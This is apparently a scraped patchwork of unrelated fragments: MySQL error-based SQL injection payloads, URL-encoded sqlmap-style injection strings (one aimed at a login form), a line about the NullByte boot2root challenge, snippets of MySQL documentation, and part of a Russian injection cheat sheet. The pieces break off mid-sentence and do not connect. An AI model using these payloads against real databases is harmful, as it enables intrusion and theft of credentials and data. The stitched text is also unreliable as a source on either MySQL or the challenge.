The COUNT(*) and GROUP BY parts are necessary to provoke the error in MySQL: > SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x; ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'.
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a).
...Cinema+AND+(SELECT+6935+FROM(SELECT+COUNT(*),CONCAT(0x717a626b71,(SELECT+(ELT(6935=6935,1))),0x716a7a6a71,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a).
...CoNCat((SeLECT+(SELECT+CoNCat(CaST(VERSIoN()+aS+ChaR),0x7e,0x496873616E53656e63616e))+.
The boot2root is called NullByte 0x01 and is described as beginner/intermediate level challenge. I thought it was pretty easy, but still a fun challenge
InnoDB processes SELECT COUNT(*) statements by traversing the smallest available secondary index unless an index or optimizer hint directs the optimizer to use a different index.
Selecting General Query Log and Slow Query Log Output Destinations.
...Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) #. Payload: category_id=24' AND (SELECT 3422 FROM(SELECT COUNT(*),CONCAT
(M): SELECT CONCAT(login, password) FROM members. 7. Строки без кавычек Есть несколько способов не использовать кавычки в запросе, например с помощью CHAR() (MS) и CONCAT() (M). Синтаксис: SELECT 0x457578 (M). В MySQL есть простой способ представления строки в...
information_schema.tables GROUP BY x)a) AND 'CSnZ'='CSnZ&senha=UCyy&logar=logar.